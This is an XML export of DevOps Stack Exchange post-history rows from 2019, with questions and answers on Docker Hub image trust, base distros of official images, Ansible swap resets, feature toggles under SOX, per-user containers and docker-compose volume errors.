  <row Id="28380" PostHistoryTypeId="5" PostId="9508" RevisionGUID="719ed383-5b85-4143-8d32-ca5937a05c00" CreationDate="2019-10-21T14:58:31.343" UserId="397" Comment="In-lined Links, Typos" Text="**Note: also [posted in Security StackExchange][1] as there is a security aspect to this question (sorry for cross-posting).**&#xD;&#xA;&#xD;&#xA;I'm evaluating Docker images for my development and production setups.&#xD;&#xA;&#xD;&#xA;When I research how to do something in Docker, quite often I find answers that include the author's own Docker image. For me, this is not suitable as this hinders the transparency of the solution and uncertainty of reliance on future maintenance by that author. Both of these potential issues have security implications.&#xD;&#xA;&#xD;&#xA;While the [Docker Hub][2], can provide a convenient centralised and well-known outlet for publishing one's own Docker images, derived from officials, what would be the advantage of using these unofficial images over the originals.&#xD;&#xA;&#xD;&#xA;I am aware of reverse engineering tools, as described in answers on [Stack Overflow][3] and that at least some of the unofficial Docker images have an associated GitHub repo that apparently shows how the Docker image was built. But this is an inconvenient level of &quot;indirection&quot; or friction to being really sure (if at all possible) as to the contents of the Docker image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://security.stackexchange.com/questions/219924/why-does-docker-hub-allow-non-official-docker-images-and-why-do-they-exist&#xD;&#xA;  [2]: https://hub.docker.com/&#xD;&#xA;  [3]: https://stackoverflow.com/questions/48228275/docker-reverse-engineering-of-an-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="28381" PostHistoryTypeId="4" PostId="9508" RevisionGUID="719ed383-5b85-4143-8d32-ca5937a05c00" CreationDate="2019-10-21T14:58:31.343" UserId="397" Comment="In-lined Links, Typos" Text="Why does Docker hub allow non-official Docker images and why do they exist?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28382" PostHistoryTypeId="2" PostId="9509" RevisionGUID="f087b667-f687-447f-86f1-d0f02624ddd4" CreationDate="2019-10-21T15:10:46.727" UserId="397" Text="As with most elements of Information Security, there is a balancing act between usability and security; an increase in usability often results in a correlated decrease in security and visa versa.&#xD;&#xA;&#xD;&#xA;As a thought experiment...&#xD;&#xA;&#xD;&#xA;&gt; I can make any server 100% secure by wiping the hard drives, putting it through a shredder and then melting down all of the components parts.  It also makes it 0% usable.&#xD;&#xA;&#xD;&#xA;Docker Hub is no different, the desire is to make these images accessible for the common good, at the cost of traceability and provenance of the images.  Fortunately, there are several tools such as [JFrog Artifactory][1] and [Sonatype Nexus Lifecycle][2] which enable you to apply governance to any Open Source repository (i.e. Docker Hub, Nuget, NPM, etc).&#xD;&#xA;&#xD;&#xA;One aspect that I think Docker Hub gets wrong, that other sites get right, namely NPM, is presenting clear information about what Source Repository an image is generated from, that I suspect is due to the decoupled nature of Docker Images from the source code that generates them.&#xD;&#xA;&#xD;&#xA;  [1]: https://jfrog.com/artifactory/&#xD;&#xA;  [2]: https://www.sonatype.com/product-nexus-lifecycle?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28383" PostHistoryTypeId="2" PostId="9510" RevisionGUID="f939ba36-c043-4467-b072-c08761a0524f" CreationDate="2019-10-21T15:48:32.187" UserId="15792" Text="This capability is part of what makes Docker Hub great.&#xD;&#xA;&#xD;&#xA;Imagine you have a project that requires a very specific system configuration.  For example, you want to use a database, but have a specific configuration for it.  Docker Hub will allow you to pull the official image (e.g. MySQL), make your changes (e.g., change the default location the database runs, add scheduled tasks), and push your new image.  In this example I can now use my custom image as a base for my development and I do not have to script or manually run these configurations every time I pull.&#xD;&#xA;&#xD;&#xA;There are security issues as you have now diverge from the official image.  Future updates to the official image will not be updated unless you rebuild with the new official image and push.&#xD;&#xA;&#xD;&#xA;Additionally, you are correct in that Docker Hub is somewhat opaque in how these images are generated.  Using my above example I could easily decide I want to switch to MariaDB as my base image, and push to something that makes people thing it is MySQL due to the [tag][1].  Because of this, I prefer to start with official images whenever possible.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/tag/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28387" PostHistoryTypeId="5" PostId="9415" RevisionGUID="94adfd9d-cf8a-4f1d-963a-2fbf33b904b7" CreationDate="2019-10-21T19:41:55.300" UserId="11341" Comment="fixed grammar and improved formatting" Text="simple ..&#xD;&#xA;docker ps check the current running images..for simple file example below..&#xD;&#xA;&#xD;&#xA;FROM ubuntu16&#xD;&#xA;&#xD;&#xA;MAINTAINER sreeni (email/domain)&#xD;&#xA;&#xD;&#xA;RUN apt-get update&#xD;&#xA;&#xD;&#xA;RUN apt-get install -y nginx&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [“/usr/sbin/nginx”,”-g”,”daemon off;”]&#xD;&#xA;&#xD;&#xA;EXPOSE 80 (port)&#xD;&#xA;&#xD;&#xA;simple docker file...&#xD;&#xA;&#xD;&#xA;#use below docker command&#xD;&#xA;&#xD;&#xA;docker run -d -p 80:80 --name web server ubuntu16(image name)&#xD;&#xA;after that check localhost or ip address:80 (open browser and check)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28388" PostHistoryTypeId="2" PostId="9511" RevisionGUID="89145180-bd1a-4071-8c20-feb6b3177a80" CreationDate="2019-10-21T20:23:12.040" UserId="8489" Text="I already think I understand that docker containers &quot;share&quot; the same Linux kernel running on their host. But inside a particular docker container, the software stack could be a distro debian, alpine, centos or ubuntu and on top of that various other software components, such as a web server, database, language interpreter etc.&#xD;&#xA;&#xD;&#xA;Indeed there are official images for such distros.&#xD;&#xA;&#xD;&#xA;But there are also official images for Apache ([httpd][1]) and PHP ([php][2])&#xD;&#xA;&#xD;&#xA;My question is, how can I find out the default distro that these sit upon?&#xD;&#xA;&#xD;&#xA;I ask, because for example, I've seen a Dockerfile which starts with:&#xD;&#xA;&#xD;&#xA;`FROM php:7.2-fpm` (which is one of the official PHP images)&#xD;&#xA;&#xD;&#xA;Followed by:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y \&#xD;&#xA;            libfreetype6-dev \&#xD;&#xA;            libjpeg62-turbo-dev \&#xD;&#xA;            libpng-dev \&#xD;&#xA;        &amp;&amp; docker-php-ext-install -j$(nproc) iconv \&#xD;&#xA;        &amp;&amp; docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \&#xD;&#xA;        &amp;&amp; docker-php-ext-install -j$(nproc) gd&#xD;&#xA;&#xD;&#xA;Source: [hub.docker.com/_/php][2] (see section &quot;How to install more PHP extensions&quot;)&#xD;&#xA;&#xD;&#xA;Also, what distro is used for the httpd (Apache) official image?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/httpd&#xD;&#xA;  [2]: https://hub.docker.com/_/php" ContentLicense="CC BY-SA 4.0" />
  <row Id="28389" PostHistoryTypeId="1" PostId="9511" RevisionGUID="89145180-bd1a-4071-8c20-feb6b3177a80" CreationDate="2019-10-21T20:23:12.040" UserId="8489" Text="What is the default Linux distro in official docker images?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28390" PostHistoryTypeId="3" PostId="9511" RevisionGUID="89145180-bd1a-4071-8c20-feb6b3177a80" CreationDate="2019-10-21T20:23:12.040" UserId="8489" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28391" PostHistoryTypeId="2" PostId="9512" RevisionGUID="de90e01d-aa8e-4747-a08e-2724147785dc" CreationDate="2019-10-21T20:24:12.387" UserId="8489" Text="As I wrote this question I found a link to the original source code for these official images, which answered my questions:&#xD;&#xA;&#xD;&#xA;For example, for official image `php:7.2-fpm`, the base image is: [debian:stretch-slim][1] &#xD;&#xA;&#xD;&#xA;And for official Apache image, `httpd` it's [debian:buster-slim][2]&#xD;&#xA;&#xD;&#xA;So, to find out the distro upon which official images are based on, go here: https://github.com/docker-library&#xD;&#xA;&#xD;&#xA;...and append your official image of interest to the URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker-library/php/blob/master/7.2/stretch/fpm/Dockerfile&#xD;&#xA;  [2]: https://github.com/docker-library/httpd/blob/master/2.4/Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="28392" PostHistoryTypeId="4" PostId="9511" RevisionGUID="edfef42f-d7a5-4a6b-8a3d-1f2e8ef93264" CreationDate="2019-10-21T20:26:05.753" UserId="8489" Comment="reworded question" Text="How to find the Linux distro used as the basis for an official docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28393" PostHistoryTypeId="2" PostId="9513" RevisionGUID="d2516a1d-d4ee-4377-8717-7099b3fe8e3f" CreationDate="2019-10-21T20:32:27.790" UserId="3525" Text="create a service which authorizes against SSO and the provides temporary credentials via AWS STS Service. That way you don't have to store anything anywhere and once the user loses access to SSO they will also lose access to AWS. You need a role with the access to your dev environment and the developers will assume that role. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28394" PostHistoryTypeId="2" PostId="9514" RevisionGUID="daeecc75-23f8-4775-8939-4c2339e1508c" CreationDate="2019-10-21T20:34:21.647" UserId="17730" Text="Feature toggles (or feature flags) enable me to deploy unfinished features without comprehensive manual testing of features toggled off. We can toggle the feature on for certain users, try it out, and then choose to toggle it off or on for all users. This enables more frequent integration as suggested by version control strategies such as Trunk-Based Development, and more frequent deployment of the trunk (master) branch into user's hands.&#xD;&#xA;&#xD;&#xA;Sarbanes-Oxley rules require that all features that are in user's hands be fully tested.&#xD;&#xA;&#xD;&#xA;So if I have a SOX-compliant system, how do I proceed with using feature toggles without having to do full manual testing of the feature toggled ON? It makes sense to do regression testing with the feature toggled OFF, but the most common need is to integrate and deploy good code but not incur the manual testing cost of the &quot;on&quot; state for a feature toggled off by default.&#xD;&#xA;&#xD;&#xA;**So any suggestions on ways to have Sox-compliant feature toggles without comprehensive manual testing of the toggled-off feature on every release?**&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28395" PostHistoryTypeId="1" PostId="9514" RevisionGUID="daeecc75-23f8-4775-8939-4c2339e1508c" CreationDate="2019-10-21T20:34:21.647" UserId="17730" Text="How to use feature toggles and frequent deployment under SOX compliance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28396" PostHistoryTypeId="3" PostId="9514" RevisionGUID="daeecc75-23f8-4775-8939-4c2339e1508c" CreationDate="2019-10-21T20:34:21.647" UserId="17730" Text="&lt;continuous-deployment&gt;&lt;feature-toggles&gt;&lt;feature-flags&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28397" PostHistoryTypeId="2" PostId="9515" RevisionGUID="074d75fa-dabb-402d-8a40-f7b6b2ed8e7a" CreationDate="2019-10-21T21:25:11.013" UserId="17731" Text="It depends on how you're managing your feature flags. Ideally, you're using a flagging system that allows you to target specific users or segments of users so that an untested feature isn't inadvertently enabled for all your users. Some feature management systems (like LaunchDarkly) allow you to target users any way you want.&#xD;&#xA;&#xD;&#xA;For example, a common workflow (for teams who use feature flags) is to release a new feature under a flag that's only turned on for the team that's working on that feature. So, even if the feature hasn't been tested, it's guaranteed that only the right eyes are seeing that feature.&#xD;&#xA;&#xD;&#xA;This allows your dev team to continue to work on the feature and test it in production (if that's appropriate). Of course, a full set of tests should cover that feature before it's release, but it's nice that devs have a way to iterate quickly without the hangups of a process that didn't involve feature flags." ContentLicense="CC BY-SA 4.0" />
  <row Id="28398" PostHistoryTypeId="2" PostId="9516" RevisionGUID="a223d01c-aa31-410b-aa5d-2d43be0f988d" CreationDate="2019-10-21T21:26:55.873" UserId="17729" Text="IMO: Yes, Scrum can be used effectively by SRE teams.  I have never heard or read that team members can only work on sprint workitems, so it is a misconception that you need to account for all of your time and effort in the scope of a sprint; Also, I feel there is a misconception that all of your work is applicable to sprints. So, convergently, you should manage some work with Scrum and some outside of it.&#xD;&#xA;&#xD;&#xA;Scrum, at it's core, is a framework (with artifacts and events) that is flexibly and used for continuous improvement over the nature of work that is accepted by the team (or applicable to such work).  &#xD;&#xA;&#xD;&#xA;What you need to do is strike a balance between the time and effort you can provide for planned, accepted sprint work that you and your team can deliver on and the time and effort to tackle unplanned work outside of the sprint.  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;There is a measure of severity and priority to all workitems.  If you're considering Scrum, you should accept work up to a particular severity.  You should also consider work that can reduce the severity of upcoming work (if at all possible).  I would also recommend you start your sprints with about half capacity (which would difficult to determine on since relating time and effort in a capacity fashion in the beginning is) - go light.  Your team's goal should always be to deliver what work your team accepts, so be picky and don't overextend.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I think the nature of your work is actually comparable to production bugfix work for development teams.  Thus, you may want to consult production maintenance teams on their Scrum adopt and success, and Not necessarily constrain yourself to DevOps Engineers experience in program and project management. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28399" PostHistoryTypeId="5" PostId="9515" RevisionGUID="9f458879-c8ec-4d85-b941-42722b85fdcf" CreationDate="2019-10-21T21:30:22.403" UserId="17731" Comment="added 9 characters in body" Text="It depends on how you're managing your feature flags. Ideally, you're using a flagging system that allows you to target specific users or segments of users so that an untested feature isn't inadvertently enabled for all your users. Some feature management systems (like LaunchDarkly) allow you to target users any way you want.&#xD;&#xA;&#xD;&#xA;For example, a common workflow (for teams who use feature flags) is to release a new feature under a flag that's only turned on for the product team that's working on that feature. So, even if the feature hasn't been tested, it's guaranteed that only the right users have access to that new feature.&#xD;&#xA;&#xD;&#xA;This allows your product team to continue to work on the feature and test it in production (if that's appropriate). Of course, a full set of tests should cover that feature before it's released, but it's nice that product teams have a way to iterate quickly without the hangups of a process that didn't involve feature flags." ContentLicense="CC BY-SA 4.0" />
  <row Id="28403" PostHistoryTypeId="52" PostId="9508" RevisionGUID="69903a2d-9725-474c-990a-2994bb422d35" CreationDate="2019-10-21T23:08:17.193" />
  <row Id="28405" PostHistoryTypeId="2" PostId="9518" RevisionGUID="995c96ee-5e45-41de-912c-e40a03cbfc7e" CreationDate="2019-10-22T06:22:24.683" UserId="16553" Text="I am newbie to Ansible, i failed using ansible via command that way : &#xD;&#xA;&#xD;&#xA;    ansible host -a &quot;/sbin/swapoff -a &amp;&amp; /sbin/swapon -a&quot;&#xD;&#xA;&#xD;&#xA;Only this worked &#xD;&#xA;&#xD;&#xA;    ansible host -a &quot;/sbin/swapoff -a&#xD;&#xA;    ansible host -a &quot;/sbin/swapon -a&#xD;&#xA;&#xD;&#xA;I am thinking of making a playbook, starting maybe with this:&#xD;&#xA;&#xD;&#xA;    - name: Turn off swap&#xD;&#xA;      shell : &quot;swapoff -a&quot;&#xD;&#xA;    &#xD;&#xA;    - name: Turn on swap&#xD;&#xA;      shell : &quot;swapon -a&quot;&#xD;&#xA;&#xD;&#xA;I would like to **reset swap space** with a condition, only when the swap used space is **greater** than **100mb**. Is it possible to do that ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Many thanks for your help&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28406" PostHistoryTypeId="1" PostId="9518" RevisionGUID="995c96ee-5e45-41de-912c-e40a03cbfc7e" CreationDate="2019-10-22T06:22:24.683" UserId="16553" Text="Ansible resetting swap linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="28407" PostHistoryTypeId="3" PostId="9518" RevisionGUID="995c96ee-5e45-41de-912c-e40a03cbfc7e" CreationDate="2019-10-22T06:22:24.683" UserId="16553" Text="&lt;ansible&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28408" PostHistoryTypeId="2" PostId="9519" RevisionGUID="fafef24e-92c5-4b6c-8258-27ea2165464a" CreationDate="2019-10-22T07:16:28.367" UserId="354" Text="You can certainly do this through a handler or task, but first you need to generate the trigger conditions. The swap space is in the [Ansible facts](https://docs.ansible.com/ansible/latest/reference_appendices/special_variables.html#facts) that are returned when `setup:` is run. From the Ansible docs:&#xD;&#xA;&#xD;&#xA;&gt;  Facts&#xD;&#xA;&gt; &#xD;&#xA;&gt; These are variables that contain information pertinent to the current host (inventory_hostname). They are only available if gathered first.&#xD;&#xA;&#xD;&#xA;&gt; ansible_facts&#xD;&#xA;&gt;    Contains any facts gathered or cached for the inventory_hostname Facts are normally gathered by the setup module automatically in a play, but any module can return facts.&#xD;&#xA;&#xD;&#xA;&gt; ansible_local&#xD;&#xA;&gt;    Contains any ‘local facts’ gathered or cached for the inventory_hostname. The keys available depend on the custom facts created. See the setup module for more details.&#xD;&#xA;&#xD;&#xA;As an example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible -i localhost, all -c local -m setup -a filter=*swap*&#xD;&#xA;localhost | SUCCESS =&gt; {&#xD;&#xA;    &quot;ansible_facts&quot;: {&#xD;&#xA;        &quot;ansible_swapfree_mb&quot;: 437,&#xD;&#xA;        &quot;ansible_swaptotal_mb&quot;: 979&#xD;&#xA;    },&#xD;&#xA;    &quot;changed&quot;: false&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In your playbook your task to reset swap should then have the conditional like:&#xD;&#xA;&#xD;&#xA;`when: ansible_swap_free_mb &lt; 500`&#xD;&#xA;&#xD;&#xA;In your case, however you want to trigger on swap used, so you would have to compute the difference between total and free." ContentLicense="CC BY-SA 4.0" />
  <row Id="28410" PostHistoryTypeId="2" PostId="9521" RevisionGUID="1cefee52-4db4-46f0-b36f-43a992f1d40e" CreationDate="2019-10-22T10:34:12.417" UserId="12954" Text="Please help me here based on your experiences.&#xD;&#xA;&#xD;&#xA;We have launched a desktop application where users can download all their online data from several platforms at one place. Our motto is to provide users access to their digital footprint so that they can utilize it in their own different ways.The whole idea of desktop application is to put privacy first, Our servers only have access to the users login information and never had access to the users data, which is also encrypted at rest on users machine with user's mnemonic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on the users feedback, We have realized that most of the users did like our platform but they don't want to bear the hassle of installing a desktop application. For them, Making use of their data (search, organize etc) is more important than military grade privacy.&#xD;&#xA;&#xD;&#xA;As a result, we have decided to provide both the options to the user, Desktop application as well as web app.&#xD;&#xA;&#xD;&#xA;Now shifting such a huge data on users machine (around 50GB to 1 TB for single user) to common database on cloud would be a cumbersome task, In terms of servers required for replication, sharding , caching etc, their costs and complexities which comes with data at scale.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Our Approach:&#xD;&#xA;&#xD;&#xA;We are thinking to maintain docker containers for every user with their storage on Elastic file system on AWS. Data on rest on EFS for a container will always be encrypted with user's mnemonic and will only be decrypted on successful users login.&#xD;&#xA;&#xD;&#xA;Every user docker container will have a small SQLite database to make this data searchable and indexed. In future, containers can also have their own Elastic search database with any other NoSql or Sql database.&#xD;&#xA;&#xD;&#xA;The identities of the users can be put of AWS Cognito or Any decentralized identity system.&#xD;&#xA;&#xD;&#xA;One other approach could be: Instead of running dockers we can keep different encrypted SQLITE DB for different users.&#xD;&#xA;&#xD;&#xA;It would be a problem because then we have to keep track of all the SQLite db files present being accessed by the user, because SQLite doesnt support multi threading, we cannot open different instances of same SQLite database,&#xD;&#xA;&#xD;&#xA;In case of docker, We will only spin docker when user logs in, that ways we always know that only one instance of SQLite is being accessed.&#xD;&#xA;&#xD;&#xA;Our worry: We are still trying to figure out loopholes in this approach. Please help us in identifying the same." ContentLicense="CC BY-SA 4.0" />
  <row Id="28411" PostHistoryTypeId="1" PostId="9521" RevisionGUID="1cefee52-4db4-46f0-b36f-43a992f1d40e" CreationDate="2019-10-22T10:34:12.417" UserId="12954" Text="Container for every user" ContentLicense="CC BY-SA 4.0" />
  <row Id="28412" PostHistoryTypeId="3" PostId="9521" RevisionGUID="1cefee52-4db4-46f0-b36f-43a992f1d40e" CreationDate="2019-10-22T10:34:12.417" UserId="12954" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28413" PostHistoryTypeId="2" PostId="9522" RevisionGUID="858656c0-a938-4fa1-a56b-019453988582" CreationDate="2019-10-22T11:40:10.153" UserId="17737" Text="I'm trying to create a volume to be shared among the containers, and this volume binds to a location of my host, the problem is that every time I run the docker-compose up gives the  following error: In file '. \ docker-compose.yml', service 'volumes' must be a mapping not an array.&#xD;&#xA;&#xD;&#xA; and So far I didn't understand why.  Following is the compose file:&#xD;&#xA;&#xD;&#xA;version : '3.4'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;    testando-volume-compartilhado-a:&#xD;&#xA;      image: carloshenriquecarniatto/teste:latest&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;       - D:\App:/app&#xD;&#xA;    ports:&#xD;&#xA;        - &quot;10001:80&quot;&#xD;&#xA;        - &quot;44378:443&quot; " ContentLicense="CC BY-SA 4.0" />
  <row Id="28414" PostHistoryTypeId="1" PostId="9522" RevisionGUID="858656c0-a938-4fa1-a56b-019453988582" CreationDate="2019-10-22T11:40:10.153" UserId="17737" Text="My Docker composer not work with volume" ContentLicense="CC BY-SA 4.0" />
  <row Id="28415" PostHistoryTypeId="3" PostId="9522" RevisionGUID="858656c0-a938-4fa1-a56b-019453988582" CreationDate="2019-10-22T11:40:10.153" UserId="17737" Text="&lt;docker&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28416" PostHistoryTypeId="5" PostId="9521" RevisionGUID="22f4627e-46ba-4573-9609-013656bed3bd" CreationDate="2019-10-22T11:46:37.870" UserId="12954" Comment="added 85 characters in body" Text="Please help me here based on your experiences.&#xD;&#xA;&#xD;&#xA;We have launched a desktop application where users can download all their online data from several platforms at one place. Our motto is to provide users access to their digital footprint so that they can utilize it in their own different ways.The whole idea of desktop application is to put privacy first, Our servers only have access to the users login information and never had access to the users data, which is also encrypted at rest on users machine with user's mnemonic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on the users feedback, We have realized that most of the users did like our platform but they don't want to bear the hassle of installing a desktop application. For them, Making use of their data (search, organize etc) is more important than military grade privacy.&#xD;&#xA;&#xD;&#xA;As a result, we have decided to provide both the options to the user, Desktop application as well as web app.&#xD;&#xA;&#xD;&#xA;Now shifting such a huge data on users machine (around 50GB to 1 TB for single user) to common database on cloud would be a cumbersome task, In terms of servers required for replication, sharding , caching etc, their costs and complexities which comes with data at scale.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Our Approach:&#xD;&#xA;&#xD;&#xA;We are thinking to maintain docker containers for every user with their storage on Elastic file system on AWS. Data on rest on EFS for a container will always be encrypted with user's mnemonic and will only be decrypted on successful users login.&#xD;&#xA;&#xD;&#xA;Every user docker container will have a small SQLite database to make this data searchable and indexed. In future, containers can also have their own Elastic search database with any other NoSql or Sql database.&#xD;&#xA;&#xD;&#xA;The identities of the users can be put of AWS Cognito or Any decentralized identity system.&#xD;&#xA;&#xD;&#xA;One other approach could be: Instead of running dockers we can keep different encrypted SQLITE DB for different users.&#xD;&#xA;&#xD;&#xA;It would be a problem because then we have to keep track of all the SQLite db files present being accessed by the user, because SQLite doesnt support multi threading, we cannot open different instances of same SQLite database,&#xD;&#xA;&#xD;&#xA;In case of docker, We will only spin docker when user logs in, that ways we always know that only one instance of SQLite is being accessed.&#xD;&#xA;&#xD;&#xA;Our worry: We are still trying to figure out loopholes in this approach. Please help us in identifying the same.&#xD;&#xA;&#xD;&#xA;Note: https://aws.amazon.com/blogs/containers/welcome-to-the-aws-containers-blog/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28419" PostHistoryTypeId="2" PostId="9523" RevisionGUID="53efcc14-b39e-4a18-84c6-86c3da7a9c5d" CreationDate="2019-10-22T13:18:24.563" UserId="354" Text="You are providing a list instead of an array in the volumes. This is clear from the error message:&#xD;&#xA;&#xD;&#xA;&gt; In file '. \ docker-compose.yml', service **'volumes' must be a mapping not an array.**&#xD;&#xA;&#xD;&#xA;You should change the compose file to&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;&#xD;&#xA;version : '3.4'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;    testando-volume-compartilhado-a:&#xD;&#xA;      image: carloshenriquecarniatto/teste:latest&#xD;&#xA;&#xD;&#xA;    volumes:        # &lt;-- not a list any more&#xD;&#xA;       D:\App:/app  # &#xD;&#xA;    ports:&#xD;&#xA;        - &quot;10001:80&quot;&#xD;&#xA;        - &quot;44378:443&quot; &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28421" PostHistoryTypeId="2" PostId="9525" RevisionGUID="f46b1711-0c55-415d-9832-77d30eed7450" CreationDate="2019-10-22T15:36:11.427" UserId="397" Text="Based upon my understanding you essentially have a [Data Partitioning][1] problem, in that you need to maintain a degree of separation between each of your customers but also host the service centrally.&#xD;&#xA;&#xD;&#xA;You have suggested that you instantiate a Docker container for each of your customers, I think there are a couple of issues with this:&#xD;&#xA;&#xD;&#xA; 1. Containers are designed to be somewhat ephemeral, you can use some of the [concepts within Kubernetes][2] to effectively create a singleton per customer, however:&#xD;&#xA;   1. Availability will likely be hurt by virtue of it being a singleton if the pod, node or cluster fails then that pod will need to be rescheduled.&#xD;&#xA;   2. The cost is likely to be quite high, as each of those containers will consume some resources regardless of whether they are being used or not.&#xD;&#xA; 2. Depending on how many customers you have, you get into the realms of too many containers:&#xD;&#xA;  1. Orchestrators such as Kubernetes, Docker Swarm and Mesosphere are generally designed to support a large number of containers, however, the expectation is that's lots of the same workload not lots of disparate workloads. Kubernetes has in the past [experienced slowdown][3] when lots of ConfigMaps, Pods and CustomResourceDefinitions are deployed.&#xD;&#xA;  2. Whilst lightweight each container will consume system resources, not just Memory, CPU but also TCP/IP pool exhaustion.&#xD;&#xA; 3. Isolation - containers are a good way to isolate workloads from each other, but it's not infallible - Read [Containers are not VMs][4]&#xD;&#xA;&#xD;&#xA;If I were to approach your problem I would be inclined to use Kubernetes as a Microservices platform hosting your application across [multiple ReplicaSets][5] then implement your partitioning at the datastore level in AWS via DynamoDB and EFS.  You are already encrypting your data so you have cryptographic certainty that isolation can be achieved.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/architecture/best-practices/data-partitioning&#xD;&#xA;  [2]: https://kubernetes.io/docs/tasks/run-application/run-single-instance-stateful-application/&#xD;&#xA;  [3]: https://github.com/kubernetes/kubernetes/issues/74412&#xD;&#xA;  [4]: https://www.docker.com/blog/containers-are-not-vms/&#xD;&#xA;  [5]: https://kubernetes.io/docs/concepts/workloads/controllers/replicaset/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28422" PostHistoryTypeId="5" PostId="9523" RevisionGUID="5cd8bf3c-18b0-487c-97e6-f0025fe78466" CreationDate="2019-10-22T15:58:06.677" UserId="397" Comment="Remove whitespace" Text="You are providing a list instead of an array in the volumes. This is clear from the error message:&#xD;&#xA;&#xD;&#xA;&gt; In file '. \ docker-compose.yml', service **'volumes' must be a mapping not an array.**&#xD;&#xA;&#xD;&#xA;You should change the compose file to&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;version : '3.4'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;    testando-volume-compartilhado-a:&#xD;&#xA;      image: carloshenriquecarniatto/teste:latest&#xD;&#xA;&#xD;&#xA;    volumes:        # &lt;-- not a list any more&#xD;&#xA;       D:\App:/app  # &#xD;&#xA;    ports:&#xD;&#xA;        - &quot;10001:80&quot;&#xD;&#xA;        - &quot;44378:443&quot; &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28423" PostHistoryTypeId="2" PostId="9526" RevisionGUID="bc832cc4-6d54-489d-a0e8-3e672b409d6b" CreationDate="2019-10-22T16:00:07.477" UserId="17199" Text="What are the ways to get authorized access to mlflow through Azure Active Directory? I need to grant access to the mlflow web interface installed on a separate Ubuntu 16 VM in Azure cloud only to authorized users in my Azure Active Directory. I ask to share any ideas, schemes, instructions, video... Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="28424" PostHistoryTypeId="1" PostId="9526" RevisionGUID="bc832cc4-6d54-489d-a0e8-3e672b409d6b" CreationDate="2019-10-22T16:00:07.477" UserId="17199" Text="Mlflow through Azure Active Directory?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28425" PostHistoryTypeId="3" PostId="9526" RevisionGUID="bc832cc4-6d54-489d-a0e8-3e672b409d6b" CreationDate="2019-10-22T16:00:07.477" UserId="17199" Text="&lt;azure&gt;&lt;active-directory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28428" PostHistoryTypeId="5" PostId="9522" RevisionGUID="02ef81c0-44bb-4184-9da4-43dca87359b9" CreationDate="2019-10-22T16:52:50.900" UserId="354" Comment="fix formatting, add windows tag" Text="I'm trying to create a volume to be shared among the containers, and this volume binds to a location of my host, the problem is that every time I run the docker-compose up gives the  following error: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;In file '. \ docker-compose.yml', service 'volumes' must be a mapping not an array.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; and So far I didn't understand why.  Following is the compose file:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;&#xD;&#xA;version : '3.4'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;    testando-volume-compartilhado-a:&#xD;&#xA;      image: carloshenriquecarniatto/teste:latest&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;       - D:\App:/app&#xD;&#xA;    ports:&#xD;&#xA;        - &quot;10001:80&quot;&#xD;&#xA;        - &quot;44378:443&quot; &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28429" PostHistoryTypeId="6" PostId="9522" RevisionGUID="02ef81c0-44bb-4184-9da4-43dca87359b9" CreationDate="2019-10-22T16:52:50.900" UserId="354" Comment="fix formatting, add windows tag" Text="&lt;docker&gt;&lt;windows&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
